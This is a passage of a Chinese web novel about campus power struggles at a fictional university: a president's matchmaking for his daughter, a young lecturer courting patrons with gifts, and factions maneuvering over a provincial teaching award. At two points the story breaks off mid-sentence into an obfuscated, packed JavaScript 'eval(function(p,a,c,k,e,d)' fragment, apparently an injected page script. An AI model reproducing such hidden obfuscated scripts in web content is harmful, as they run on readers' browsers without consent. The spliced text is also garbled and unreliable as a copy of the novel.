接到任务的余丹凤欣喜万分,觉得这是报答吴若甫的最佳机会。余丹凤办事效率远非工作上的拖沓可以比拟,只用了一天时间,她就将29名男生的信息表格化地呈现在万素琴面前,对每个人的底细如数家珍:“29人中一半已经名草有主了。剩下这15个里头,我觉得靠谱的有4个。蒋嘉琦,长得跟混血儿似的帅气得很;林书锦,家里是开公司的富二代;肖志阳,海归双博士;于方,父母都是大学教授。”明知吴雅娟对顾明远已暗生情愫,对顾明远的故作清高很不感冒的余丹凤有意排掉了他。 当万素琴眉开眼笑将余丹凤的“情报”报告万素琴时,吴若甫的脸上立刻结了霜:“这个小余不是胡闹的嘛胡闹!” 万素琴有些不服气:“都挺好的,怎么胡闹了?” “头发长见识短。”吴若甫瞪了老伴一眼:“我心里有数,我看不用小余乱弹琴了。” 吴雅娟也在一旁附和着爸爸:“可不是嘛。余丹凤什么眼光啊。那个蒋嘉琦女朋友换得像走马灯似的,林书锦将其话来娘里娘气……”。 父女俩一唱一和让万素琴不敢再替余丹凤说话。 吴若甫担心余丹凤会错了意思,只好第二天亲自将她叫到了办公室。 余丹凤肥胖躯体陀螺班转了进来,半个屁股挨着沙发边缘坐下,脸上堆满了讨好的媚笑。 吴若甫亲自递给她一杯茶,先是感谢了一番她替女儿吴雅娟操心的辛苦。话未说完,余丹凤脸唰地红到耳根,忙不迭地站起身来,手指绞着衣角说道:“哎哟,吴校长您真是…折煞我了。这都是我、我这就是本分事儿,当不起您这样表扬。” 吴若甫伸手示意她坐下说话。吴若甫对余丹凤是有些了解的:热情有余、理解力却很一般。对于她这样的人,不能点到为止,更不能云山雾罩,无奈之下,吴若甫只好直接点出了“顾明远”和“肖志阳”的名字,对顾明远更是多说了两句。 余丹凤大为紧张,这才意识到自己会错了校长家的意思,赶紧起身道歉,几乎是拍着胸脯保证“一定按照您的意思去办”,顺带伸出两个大拇指对校长的眼光表示赞叹:“吴校您真是大领导高瞻远瞩啊。那个小顾确实是个人才。” 吴若甫不多说话,只和蔼地微笑着摆了摆手。 退出校长办公室时,余丹凤几乎是踮着脚尖倒退着走的,险些被门槛绊了一跤。吴若甫忽然又把她叫住,笑吟吟地补了句:“有些事不必都跟我家的老万讲嘛。” 余丹凤会意,点头作揖后陀螺般旋转着离开了。 余丹凤嘴上本来就缺个把门的。没过多久,她在新教师中为吴雅娟张罗对象的事情很快传到了嗅觉灵敏的钟德君耳朵里。 钟德君有些紧张起来。这几个月来,他削尖了脑袋,总算通过总务处的吴雅洁生拉硬拽和吴雅娟扯上了些关系,有时大家一起看个电影啦、一起去郊外吃个烧烤啦、一起去旱冰场滑个冰啦……,感觉有时吴雅娟看自己的眼神似乎有点那方面的意思。现在,他不知道余丹凤的行为是不是得到吴雅娟的授意有意为之还是自作主张。其实,如果要论钟德君的真实想法,他是真心对有些病态美的长相并不十分满意,但架不住村长父亲不停絮叨灌输的“人生少奋斗十年”理论,加上自己的初中好友青年联姻县长千金而一跃成了副乡长,这更加坚定了钟德君攻下吴雅娟的决心。 正好好哥们顾明远在人事处“锻炼”。利用这一机会,钟德君隔三差五借着看望顾明远的名义去和吴雅娟套近乎。吴雅娟似乎是有意刺激顾明远,只要钟德君带着各式小吃出现时,吴雅娟便故意一口一个“德君”“德君”地叫着。顾明远倒不被所动,钟德君心里却像抹了蜜似的。 一时间,钟德君成了筒子楼年轻人羡慕的对象。只是,钟德君有时也很苦恼,没有顾明远的时候,吴雅娟对自己似乎冷淡了许多,即便答应一起出行,也总是拉上堂妹吴雅洁陪同,实际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管了解了吴若甫的基本意图,但余丹凤在介绍的时候,还是有意将经常给自己端茶倒水供应零食的肖志阳当作了重点,理由是肖志阳虽然木讷但更懂人情世故。 吴若甫翻看着密密麻麻的记录本,对余丹凤的用心有些感动。感动不能代替选择。吴若甫合上笔记本,依然脸上挂着和蔼的笑容:“他们结束‘锻炼’还有上十天吧。在继续观察观察,不急嘛。” 余丹凤知趣地躬身退了出去。 这天,吴若甫从省厅开会回来,走到二楼楼梯口时,听见人事处会议室里吵得厉害。 他好奇地停下脚步,刚从厕所出来的余丹凤飞快地旋转了过来,告诉了吴若甫会议室的情况,意思是“告状王”石凤芝这几天一直在为自己退休后的副科级待遇比在职副科长工资少十块钱闹腾。说罢,余丹凤扶着吴若甫让他回办公室休息回避。 吴若甫其实对石凤芝这样蛮不讲理的人心里也有些发怵,表面上仍保持镇定自若,笑着问“谁在应付?” 余丹凤一下子来了气:“说出来您不信。这个疯子一来,处长、副处长都找借口开溜看,现在正交给肖志阳和顾明远两个小年轻应付呢。” 吴若甫嘴上说着“胡闹”,心里却生出探听的兴趣。在余丹凤带领下,他轻手轻脚走近会议室。 门虚掩着,里面的情景基本可以了然:石凤芝背对大门,正手舞足蹈地对两个年轻人破口大骂:“你们人事处都是些缩头乌龟,派两个小瘪三来敷衍我。赶紧的,去叫吴若甫来。” 肖志阳低着头一声不吭,顾明远却出乎意料地镇定,居然笑了笑:“冒昧问一句,你有孩子吗?” 石凤芝一愣。 “为人父母,有理讲理嘛。你这样叫骂赌狠合适吗?我们毕竟是大学嘛。” 吴若甫暗暗点头。 “你算哪根葱?敢教训我?”石凤芝并不按常理出牌。 “我既不是葱也不是蒜,是堂堂正正的大学老师。教训你不是我的权利和义务,但我必须告诉你,国家是法治国家,学校是法治学校。任何诉求都要有依据,请问你要求和在职副科长同等待遇的依据是什么?” 石凤芝没想到遇上这么个毛头小子的硬茬角色,索性往会议桌上一躺,拍着桌面嚎叫:“小年轻欺负老实人啦!” 这出人意料的举动让顾明远一时有些手足无措。 吴若甫赶紧对余丹凤耳语几句,自己转身上楼。不一会儿,保卫处处长刘丰亲自带人过来对着石凤芝一通拍照,并直接拨打“110”报警。石凤芝见状,赶紧爬起来骂骂咧咧地走了。 很快,吴若甫在心里做出了决定。 8. 初试身手 结束“下派锻炼”的当天晚上,按照村长父亲的吩咐,钟德君特意买了两条中华烟和一瓶名牌香水,踏着夜色来到了副院长孟超的家。路灯将他的影子拉得很长,在初冬的晚风中晃动,正如他此刻志忑又期待的心情。 根据父子二人的观察和分析,在目前院长梅大镛的注意力都集中在“海归博士”肖志阳的身上时,尽管寻找一个“靠山”显得十分紧迫和重要。副院长卓娅水泼不进、刘副书记形同摆设,只有一直对自己颇有好感的副院长孟超才是正选。从钟德君收集的各种信息判断,孟超长袖善舞、锋芒初露,决非“池中之物”,假以时日,必会取梅大镛而代之,说不定楚江大学的班子都会有他的一席之地。如果能够得到孟超的信任和支持,将来无论是职称评定还是职务晋升,那一定是重大的利好。 其实,副院长孟超正在寻找更多的“贴心人”。这些年潜心研究“领导的艺术”后他深深感觉到:领导的威望,三分靠实权,七分靠场面。你得有一帮懂事的、会来事儿的心腹时刻围着你转。一个领导身边要是没几个会吆喝的,就像戏台子上少了锣鼓点,再好的角儿也唱不出气势。他们得会察言观色,知道什么时候该把小事吹成大事,什么时候该把大事说成小事。说白了,自己身边必须要有几个这样的“扩音器”。 经过这两年的苦心经营,院办秘书胡莎莎如今已经成了可用的“扩音器”,但可惜她文化素质不高,有时候拿捏不好音量和火候,有时反而误了事。在今年新进的四人中,经过潜心观察,他的目光其实已经盯上了钟德君:不仅领会能力强,而且执行能力也不差。更为关键的是,钟德君言语中已经多次流露出“愿意效劳”的心情。 门铃响起后,孟超窝在沙发上看电视懒得起身,老婆韩梅只好不耐烦地打开了门。 钟德君一口一个“韩姐”叫得亲切自然,加上奉上的两条香烟和一瓶香水,让这个在工厂做会计的女人心里很是受用,将自己的好心情转化成对钟德君一连串的赞扬。 钟德君装出受宠若惊的样子,当着韩梅的面,将“领导”“兄长”“老师”几顶帽子全都戴在孟超的头上,孟超假装云淡风轻地摆摆手:“客套个啥?都是自己人,坐吧。” 在钟德君的恳切请求下,孟超开始煞有介事地不吝赐教:“这刚开始参加工作呀,还是要管住嘴巴,多看少说,言多必失嘛。有时呀,沉默比表态更显水平。你看卞同峰在下派锻炼期间说话没个把门的,怎么着,现在已经在江川那里被重点关注了吧。” 钟德君大为紧张:“孟院长,没有我吧?” 孟超手指轻轻敲击沙发扶手说道:“你呀,也得汲取教训哩,不然我想帮你都不好办的。” 钟德君连连点头称是。 “再一个呢,那么年轻人一定要将工作和感情分开了,今后做事千万别把友情扯进来,职场上哪有什么真正的友情呀?我看你和同宿舍的顾明远关系不错,也要注意分寸呢,他们历史学院和咱们财经学院是死对头,不要什么都去和人家掏心窝子的,最后被人卖了都不知道。”说到这里,孟超特意顿了顿,意味深长地看了钟德君一眼。 钟德君脸上虔诚的表情活像信徒聆听圣谕一般。他甚至煞有介事地从口袋里掏出事先准备好的卡片本来认真地作着记录,一旁的韩梅心里骂了句“鬼作”,扭着肥臀进了里屋。 准备离开时,孟超拿起钟德君送来的两条烟淡淡说道:“我不需要这些,你还是拿回去吧。” 钟德君误以为孟超不满烟的档次,大为紧张,语无伦次地恳求孟超务必收下。孟超微微一笑:“德君误会啦。我既然拿你当自己人看,就不必让这些东西干扰了。”他顿了片刻,声音压低了些:“目前院里还是老梅说了算。我已经多次向他推荐过你。正好,他就喜欢这个牌子的烟。你送给他去吧。” 钟德君感动得几乎要流出两行热泪来。他不是一个局促的人,重新将烟推到孟超面前后说道:“孟院长,您真是在为我考虑啊。您放心,我一定照您说的去做。这两条烟您收下,梅院长那边我再去准备就是了。” 孟超在心里给钟德君打了一个“赞叹号”:小子果然上道。 走出孟家,钟德君心情舒畅走在校园的林荫小道上,透过梧桐叶的缝隙,北斗星清晰明亮、熠熠生辉,钟德君觉得自己仿佛已经找到了指引方向的北斗星一般。 回到筒子楼,钟德君和刚从图书馆回来的顾明远遇了个正着。看着顾明远怀里抱着一摞期刊,钟德君忍不住调侃道:“老顾,你都快成‘书虫’啦。照这个架势,估计我们这批人中,第一个做教授的就是你呢。” 顾明远知道钟德君的小心思,也不甘不休,反唇相讥道:“怎么?从院长那里取经回来了?” 钟德君大吃一惊:“你怎么知道的?” “你昨天晚上买烟时说的呀。” 钟德君这才想起昨天两人一起逛商店时自己不小心说漏了嘴。想起孟超的教导,钟德君心里有些后悔,赶紧往回找补:“其实那是孟院长有接待让我买的。” 生怕被顾明远看出破绽,正想移开话题。顾明远似乎有感而发:“买就买呗。反正我们做老师的,教学科研,单纯得很,没有行政那么复杂?” 钟德君心里暗笑了一回,忍不住将自己从孟超那里得来的现饭炒给顾明远:“你知道你们的大美女秦冰纶怎么升得这么快吗?如果没有周濂副校长背后使劲,她能赶在孙启亮、江鸥影这些老资格来牵头主持你们院的工作。老顾,这年头,没人提携,做任何事都难出头的。”说完,拿起脸盆去洗手间忙活去了。 他的话让顾明远陷入了沉思。虽然当初用抓阄的方式选择教师这份,其实内心还是对教书育人有些向往。以他的设想:象牙塔没有其他职场上的尔虞我诈,也没有无休无止的人际应酬,安安静静地备课、不受打扰的科研,既干净又纯粹,如果足够幸运的话,最后成为像莫笑非那样学术界的风云人物,多好啊。但是,来到学校已经半年多了,顾明远看到的和听到的,似乎和自己的想象多少还是有些距离。钟德君刚才那句“在你们那位美女院长身上赶紧下注”看似无意,实则会不会是一种现象呢?就在前几天,江小北透露说在中南路偶然看见林书锦陪着秦冰纶副院长一起走进高档酒店。联想到父亲顾有余“既要埋头拉车更要抬头看路”的叮嘱,顾明远一时有些迷茫起来:是啊。社会就像一张无形的网,每个人都是网上的一个结点,而人与人之间的关系便是那纵横交错的丝线。这些丝线或坚韧,或脆弱,或紧密,或疏离,却无一例外地将我们彼此牵连。没有人能真正脱离这张网而存在。每一次交谈、每一次合作、甚至每一次冲突,都在无形中加固或重构着这张网的形态。现在看来,教师看似置身于单纯的象牙塔环境,实则同样也会深嵌在这样的网络当中。 顾明远坐在书桌前,对着摊开的研究资料却一个字也看不进去。钟德君与孟超越走越近,林书锦在秦冰纶面前大献殷勤,江小北对莫笑非有呼必应……。他忽然觉得,自己信奉的“躲成一统不问世事”原则似乎和眼下的现实有些格格不入。 就在他心烦意乱合上书本的时候,桌上的座机响了起来,里面传来院办主任沈菊英特有的大嗓门。 顾明远和沈菊英打过几回交道。对这个从部队专业的女人印象不好也不坏。沈菊英办公室的门永远敞开着,她那把亮堂得能穿透三堵墙的嗓门,简直就是历史学院最好的广播,说起话来语速快得像紧急集合哨,有时根本不留给人回旋的余地。顾明远有一次撞见副院长孙启亮向她抱怨办公室空调不行,沈菊英抬手就给打断:“您就直接说,想修,还是想换?修,我立马打电话给总务;换,我就写份报告要经费”,弄得孙启亮梗着脖子看了她半天最后不高兴地挤出一句“你是主任你看着办”,这个场景给顾明远留下了极深的印象。不过,对沈菊英这种“不媚上”的气概倒生出了些好感。不好不坏的另一个来源是她的刀子嘴豆腐心。上周院务会结束时,感冒严重的的顾明远急不可耐赶回筒子楼休息,却被沈菊英堵在门口一顿数落:“刚才讨论时看你心不在焉的,魂儿丢啦?”顾明远没好气地说了句“感冒”,没想到沈菊英转身走进办公室拿出一包板蓝根和一板银翘片来塞给他:“你们这些小年轻呀,现在天冷了不知道加衣服哇?赶紧的,回去喝了好好睡一觉。”话说得凌厉,顾明远心里莫名涌起了暖流。 对沈菊英有些发怵的顾明远以为出了什么岔子,接电话的语气不免带上一丝紧张。 电话那头沈菊英标志性的大嗓门里带着点亲切:“你们的教师资格证下来了。你赶紧过来一趟,签字拿走,省得放在我这儿提心吊胆的丢了。” 这通电话像是一道阳光,骤然穿透了顾明远心中积郁的担心。毕竟教师资格证像是一把钥匙为自己打开了教育这扇庄严而温暖的大门。他立刻起身下楼向院办走去。 当顾明远签完字后,沈菊英难得压低声音告诉顾明远:“小顾,你不知道吧,咱们院的江小北和财经学院的卞同峰这次没有拿到证的。” 顾明远大吃一惊:“啊?为什么呀?” 沈菊英担心嗓门大,特意掩上房门,故作神秘地说道:“我觉得你这个小伙子不错才告诉你。江小北笔试成绩不合格,卞同峰的普通话没达标……。” 卞同峰普通话没达标的话让顾明远惊出一身冷汗,他想起了自己当时在普通话考试时也是出了点瑕疵的。正在惶惑间,沈菊英忽然用诡异的目光打量着他:“小顾,你不会有事瞒着大姐吧?我今天去人事取证时,吴雅娟好像有意在打听你呢。你们?” 话未落地,顾明远满脸通红赶紧辩白,语无伦次的样子反倒显出几分“此地无银三百两”的尴尬。沈菊英似乎不肯罢休,笑呵呵地逼问道:“鬼才信你。要不然她肯帮你普通话通关?” 这话更让顾明远窘得有些无地自容,蓦然想起前几天吴雅娟给自己打了一个电话,好像是询问他的普通话考试情况。原来是在悄没声地准备帮助自己啊。这让顾明远既羞愧又感动。 受不了沈菊英的似笑非笑的目光,顾明远证书到手后急着离去,却被沈菊英喊了回来:“你那么急着走干嘛?我还有话没说完呐。” 顾明远担心她拿普通话说事,干脆主动说道:“我的普通话也没那么烂吧。” “看你小心眼。这是多大的事呀。放心,大姐不会给别人说这个的。我倒是有件事要提醒你。” “什么?” “这都快大半年了,好像你们一起来的四个人就你还没专门像秦院长汇报思想的吧?”沈菊英是秦冰纶的闺蜜兼心腹,最近秦冰纶的几次看似无意的暗示引起了她的注意。 顾明远点了点头。他不明白沈菊英为什么要拿这个说事。 “唉,要不说你这方面还真的要向林书锦学习呢,那家伙几乎每个礼拜都要去秦院长那里去请示汇报,搞得自己好像是个教研室主任似的。滑头得很。” 顾明远不知道应该如何回应才好。他实在对别人做了些什么不感兴趣,但沈菊英的好意又不能贸然拒绝。正在纠结,沈菊英扯起他的袖子,将顾明远拉进了隔壁秦冰纶的办公室。 “秦院长,看我带谁来了!”她的嗓门压抑不住地洪亮。 顾明远的到来,秦冰纶既意外又高兴。从抽屉里取出两袋咖啡让沈菊英泡上,沈菊英乐了:“小顾你的面子够大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦冰纶知道“润物无声”的道理,她写意地回顾起了自己对顾明远本科时的一些记忆,有些细节就连顾明远完全没有一点记忆。但是,这样的回忆对顾明远的压力明显起到了缓释的作用。 “记得你大二时参加辩论赛的样子吗?面对对方辩手的质疑,你应对自如,潇洒得很,最后还拿了个最佳辩手吧?”秦冰纶眼中闪着追忆的光彩。 顾明远有些惊讶:“秦老师还记得这么清楚?” “当然记得,你当时确实表现得很有范儿。”说到这里,秦冰纶嘴角挑了一挑笑了起来:“奇怪的是,这几年不见,感觉你比以前拘谨了。难不成是学问压抑的?”她可以将“压抑”二字说得重了不少。 紧张缓释后,状态也就恢复了正常,顾明远笑着说道;“也许‘橘生淮南则为橘,生于淮北则为枳’了吧。可能年龄大了没有以前的轻狂。” 秦冰纶心中激动,脸颊像是两瓣刚绽的桃花,几乎脱口而出:“是什么呀,你这个年龄,就该轻狂些嘛。”似乎觉得有些不太符合自己的身份,赶紧找补道:“年轻人就应该有锋芒、有朝气的,别整天一副老气横秋像个学究的。” 顾明远猜不透院长前面“正想聊聊”的意思,干脆主动就初登讲台时的一些困惑提了出来。秦冰纶只好将自己从烂漫的幻想中超拔出来,毕竟周濂副校长已经几次提醒要重点栽培这个顾明远的。 秦冰纶竟然说出了和乡村小学教师顾有余毫无二致的话来:既要埋头拉车更要抬头看路。看见顾明远目光有些茫然,秦冰纶说得更加具体:“可千万不要以为只要自己业务好了就万事大吉。高校说到底就是社会。任何时候都要搞好人际关系,不然的话一切都会寸步难行”,秦冰纶说这话时脸上的严肃表情让顾明远有些异样的感觉,觉得如此一本正经的话从这样漂亮的女人嘴中说出,既显得不真实,又显得有些造作。 但秦冰纶显然是认真的,她甚至推心置腹联系自己早年间的经验教训向顾明远传授“秘笈”: “教师这个行当,既高尚也普通,既渡人也渡己。高尚吧,确实有点灵魂工程师的意思,普通呢,有时不过就是个知识搬运工。” “当老师很重要的一个本事就是因材施教。学生犹如千姿百态的璞石,千万别急着重锤击之,更应该用涓涓细流润之,这样有可能会出现几块光彩照人的美玉。那样的话,教师也挺有成就感的。” “千万别理想化地将校园视为净土。象牙塔中同样包罗社会万象,社会犹似江湖纷扰,教师只有学会适应,方能稳步前行。” …… 秦冰纶的娓娓而谈让顾明远如沐春风。虽然未必都能同意副院长的观点,但顾明远确实受了不少启发。他至少意识到,象牙塔并非自己想象中的净土,这里同样存在着复杂的人际关系和权力博弈。 看见顾明远满眼的期待,秦冰纶杏眼弯成月牙说道:“总不能一次说完了吧,今后还有机会呢。”她故意将“机会”二字用了加重的语气。 顾明远只好起身离开。秦冰纶像是想起一件事来,从文件夹里取出一份复印件递给顾明远:“学校下个月要集中对你们这批新教师开展评课活动。你们都还在试用期呢,回去好好准备,争取为院里争光哦。” “试用期”三字让顾明远觉得手中的文件沉甸甸的,暗下决心一定要高质量通过评课活动。 经过沈菊英门口时,一直候着的沈菊英拉住他问道:“现在都要下班了,你就没主动请秦院长吃个饭什么的?” 顾明远压根底没想过这个问题,满脸茫然地摇了摇头。气得沈菊英用劲捶了他一把:“你呀,真是个书呆子。冤枉秦院长和你聊了一个多小时。” 顾明远不明白为什么和院长见面必须请她吃饭。他认为疏肝解郁有些小题大做,讪讪地笑着走了。 9. 大腕争雄 江南的春天总是来得格外早。才进三月,楚江大学已是绿意葱茏,樱花满枝。 然而就再这个花事纷繁的季节,校园里却弥漫着一种不同寻常的气息。 全省首届“荆楚大先生”评选的消息,像一颗投入平静湖面的石子,在楚江大学掀起层层涟漪。这是本省首次在省属高校中开展这一评选,名额稀少,条件苛刻,如果一旦当选,那绝对是名利双收的大喜事——当选者不仅可获得每年10万元的政府津贴,而且还会获颁省长亲自签名的烫金聘书,当选者所在学校还将配套设立“荆楚大先生工作室”。 近五年来,楚江大学在全省省属高校竞争中表现不温不火,始终在中上游的区间里徘徊态势,学科建设缺乏标志性成果、高层次领军人才明显不足、重大项目和顶尖奖项没有明显突破……。所有这些,给书记许继武、校长吴若甫带来了很大的压力。因此,在“荆楚大先生”这个事关学校形象的重大项目上,两人罕见地不谋而合,做出了“势在必得”的决断。尤其吴若甫,更是希望在退休之前为自己增加些“政绩”。 但是在具体操作层面上,两人的分歧上显而易见的。吴若甫主张从现任校领导中遴选申报者。许继武内心清楚,如果从现任领导遴选,刚刚获得博士生导师资格的周濂几乎是唯一的人选,这明摆着吴若甫是想借这个机会替周濂增加一块“金字招牌”为下一步接任校长做铺垫。在江川和梅大镛的强烈建议下,许继武决定这次不能完全发圈给吴若甫,在班子会上几乎是用不容置疑的口吻作出了校领导不参与这次申报的决定,理由十分充分——不与百姓争利。 消息传开,楚江大学现有的七十五位正高职称的教授们无不“春心”大动。二级学院的领导们都很敏锐,深知如果自己学院的教授能够摘取皇冠上的明珠,那对提高本院的影响力和竞争力具有不可替代的作用。一时间,学院之间刀光剑影、硝烟弥漫 历史学院和财经学院是公认的两个实力雄厚的学院,也是众所周知的一对冤家对头。一家拥有名满全国的历史学家莫笑非,一家拥有这些年为学校争取了大量计划外拨款的“牛人”梅大镛。这些天来,两个学院不约而同开足马力,加强对本院大张旗鼓的“王婆卖瓜”。历史学院门口的宣传栏每天都要更新学院的教学科研成果;财经学院更是创新性地在学院楼前的门楣上安装了全校唯一的一块电子显示屏,滚动播放学院为学校发展所作的各种贡献。 花香四溢的空气中弥漫着浓浓的火药味。 在院办主任沈菊英的鼓捣下,副院长孙启亮已经发现了学院意欲推举秦冰纶的端倪。本来就因为秦冰纶主持工作而耿耿于怀的他主动在上班路上拦住了“牌友”莫笑非。 莫笑非对自己作为学院的候选人充满自信。当孙启亮说出自己的担忧时,他有些不以为然:“就秦冰纶的实力,不会吧?” 孙启亮嗓音带着一种刻意的关心和忧虑:“莫老,我们都知道如果单凭实力,学院候选人非你莫属。但是,我劝你千万不要低估了她的能量,大意失荆州呢。她才做了几年副院长,现在居然能让学校决定她来牵头支持工作,人家上头有人嘛。现在的年轻人,为了个人的名利,什么做不出来呀?” 孙启亮边说边用指尖捻碎了手中的花瓣,碎屑从他指缝窸窣落下: “我真是看不过眼,才忍不住告诉你这个的。你可千万不要大意的。别让一手好牌最后打成了稀碎。” 孙启亮的话潮湿的风,带着一股黏腻,精准地将一颗猜忌的种子,裹着“为你着想”的伪装,塞进了莫笑非的心里。 志在必得的莫笑非有些恼怒,径直来到校长吴若甫办公室告了秦冰纶一状。吴若甫内心一直对自视甚高目中无人的莫笑非没有多少好感。但作为校长,深知他头上众多的光环对学校的学科建设、科研工作的重要性,因此在场面上总是对莫笑非礼遇有加,这也显示了校长爱才重才的气度和魄力。在为周濂争取无果的情况下,为了防止财经学院的梅大镛获胜,吴若甫的心思全都放在历史学院人选的推荐上。在与周濂合计后,眼下能够压制梅大镛的也只有莫笑非了,因此,两人心中其实已经内定了推荐莫笑非。 吴若甫并不想给莫笑非助威。听完莫笑非横眉竖目的诉说,用略带嘲讽的口吻说道:“莫教授,您这样的大学者,怎么也被几句捕风捉影的闲话搅得沉不住气啦?还亲自上门来‘告状’?我怎么从来没有听秦冰纶说起过想毛遂自荐呢?倒是她现在正在替你四下出击。我说老莫呀,我比你长几岁,这里不得不说你几句,现在是关键时候,一切要大局为重,不要听风就是雨,到时候不仅自己被动,搞不好被人低看了一眼,那又何必呢。” 校长的一席话,让莫笑非脸上一阵白一阵红,喉结上下滚动却哽不出一句整话。他下意识地搓着手,方才的怒气早已被校长几句轻飘飘的训诫扎漏了气,只余下些窘迫。他干笑两声,身子不自觉地微躬下去:“校长批评的是…是我一时糊涂,失了分寸。大局为重,好吧,一切…一切但凭学校安排。”那急于表忠心的姿态,与先前兴师问罪的模样判若两人,显得格外局促而卑微。 与莫笑非咄咄逼人不同,梅大镛利用院长的身份,在财经学院班子里统一思想,早早就确立了自己作为学院推荐的唯一人选。副院长孟超有意讨好梅大镛,亲自带领钟德君、胡莎莎他们四处活动放风为梅院长造势。仅此还嫌不够,梅大镛说服省厅里的一位副厅长学生亲自给许继武打招呼,意思是楚江大学能够将梅大镛作为推荐人选,并答应只要推荐梅大镛,自己可以在最后的定夺上做些文章。为此,许继武找来财经学院的联系领导江川,要他出面在校内为梅大镛多做些工作。 校长吴若甫对这一切洞若观火。他并不打算自己亲自出面为历史学院和莫笑非站台助威,同样想到了让历史学院联系领导周濂打一场“代理人战争”。 吴若甫知道周濂对莫笑非有很深的积怨,因此开门见山地说道:“这次评选关系到你联系的历史学院的声誉,你得真心实意支持莫笑非。说白了,是支持历史学院嘛。” “这个老莫,实在有点自视太高,搞得自己在学院里有点孤家寡人,除了孙启亮,几乎没人愿意推荐他。”周濂这是借力表达自己的不满。 吴若甫不慌不忙,淡淡说道:“做领导的要登高望远呢。你想过没有?再过一年多我将退休,你如果不趁早干出更多成绩、积累更多人脉,后面怎么和江川、赵文启他们去竞争呢?我一个人力量毕竟有限呢。” 只这一句话,瞬间击中了周濂的要害。他沉默片刻,终于点头:“您放心。我明白该怎么做了。” 周濂决定借机敲打一下莫笑非。当他打电话叫莫笑非来办公室时,表情冷得像块冰。 莫笑非知道周濂的支持至关重要,态度一反常态地谦恭。 周濂并不领情,故意沉着脸打起了官腔:“你也知道,这次财经学院的老梅还有其他几位都是很有实力的。在实力相当的时候,左右成败的因素就有很多的了。” 莫笑非对周濂将自己与其他教授相提并论颇为不满,忍不住嘟囔道:“他们是博士生导师吗?他们是政府参事吗?” 周濂用手指敲击着桌面:“莫教授,你的意思就是凭你自己就能独占鳌头呗。如果这样的话,那你就应该稳坐钓鱼台,不必去找吴校长的嘛。” 看见周濂有些动怒,莫笑非只得将干瘪的腮帮子里填满笑容,不停地陪着小心。 周濂端起茶杯,轻轻吹了吹浮沫,嘴角挂着冷笑:“莫教授,你自己应该心里清楚,无论做官做学问,还是得讲究一个好汉三个帮的嘛。如果都是自我感觉甚好,那谁还愿意替你说话呢。我们毕竟还是个人情社会嘛,就拿你当年取得理工大学博士生导师资格来说,若不是吴校长和学校出面做工作,人家未必会发聘书呢。 周濂和莫笑非几乎同龄,仗着副校长的身份,正好将这些年的怨气吐出来,说起话来真是字字诛心,听得莫笑非指尖微微发抖。他不敢嘴上逞强,只得继续放低身段。 见火候已经差不多了,周濂慢悠悠提醒道:“我和吴校长呢,当然还是想把你推上去,但你得知道配合嘛,总得让我们做工作时没有什么阻力才好办的嘛。” 得到周濂态度的莫笑非有些感动,脸上的皱纹仿佛瞬间被熨平,眼中迸发出近乎狂喜的光彩,语气忍不住多了些献媚的意思:“周校长您放心。我莫笑非绝不是忘恩负义之人。以后历史学院,不,只要您一句话,我一定愿意效劳。” 这副感激涕零模样并没有得到周濂的赞赏,他挥了挥手:“说到底,这事的基础还在学院。我建议你呀,主动找冰纶院长好好谈一谈,不要被有的人牵着鼻子的嘛。” 自从院长确诊尿毒症后,秦冰纶已成为历史学院事实上的负责人。因为周濂的招呼,莫笑非只好亲自上门去向眼中的“黄毛丫头”请求支持。 前两年莫笑非私下嘲笑自己“学问过于肤浅,言行过于张扬”,秦冰纶至今记忆犹新。女人天生爱记仇。别看秦冰纶平时谈笑洒脱、眉宇坦荡,对莫笑非总是“莫老”供着,但心中的记恨从未消失。说实话,她打心眼不想推荐莫笑非,但在检索自己发现实力不济后,按照周濂“胸有大局”的教导和要求,目前也只能依靠莫笑非来为历史学院长脸。但是,她并不想轻易放过这个“老子天下第一”自居的家伙。 莫笑非刚一坐定,秦冰纶劈头就问了一句:“临城外林教授让我替他向您问好呢。” 莫笑非脑袋“嗡”了一下。他当然知道秦冰纶故意提起林城外的意图:林城外是秦冰纶的姨父,是自己的博士生导师。当年自己的博士论文因为借鉴过多曾经招致林城外的激烈批评,险些没能顺利毕业。想起这些,莫笑非的腰板一下子挫顿了下去,连忙毕恭毕敬地问候起自己的导师来。 秦冰纶从文件夹里取出一张表格摆在莫笑非面前:“您看看,这事学院上个月对所有老师的评课结果。莫老这么大的腕,各方面应该是学院老师们的标杆嘛。但是您看看,这次对您的综合评价甚至比顾明远包括您的学生江小北还要低。您想想,这事如果被人捅了出去,什么荆楚大先生,哪还有戏呀。” 秦冰纶一口一个“您”的温言软语像鞭子抽在莫笑非脸上。他清楚这事若被梅大镛抓住做文章,那简直会烧出燎天大火来。他蜡黄的额头上沁出了汗珠。 秦冰纶很满意这样的局面,继续敲打:“更严重的是,您已经连续三年拒绝给本科生上课。这方面梅大镛就比您做得好太多,他每学期都给本科生开了两门课的。现在上面明确要求教授必须给本科生上课嘛。唉,莫教授,您有时经常给学院出难题的呀。您说说,如果院里最后票不给你,我也是巧妇难为无米之炊呀。 这已经涉及到原则问题,莫笑非不得不抹着额头上的汗珠辩解:“我每学期不是为研究生开了两门课的嘛。再说我在其他高校也有授课任务呀。” 秦冰纶那双杏核般的眸子骤然一凛,眼尾如刀锋般微微上扬:“莫老,那您不如去找其他学校推荐好了。” 这句话成了压垮莫笑非的最后一根稻草。他两手摇得风车一般:“冰纶,我也只是说说而已,我是你手下的兵,当然得依靠咱们学院的嘛。” 看见莫笑非局促不安的样子,秦冰纶心里十分爽快,她决定剩勇追穷寇:“解铃还须系铃人。我建议您在马上召开的学院评委会上做一个表态发言,至少要表现出今后一切服从院里的安排、听从院里的调度嘛。不然我怎么给您做工作呢。” 事到如今,由不得莫笑非说出半个“不”字来。他几乎点头如捣蒜同意了秦冰纶的要求。 得到了想得到的。秦冰纶顺水推舟将推荐莫笑非上升到学院高度去强力推进。 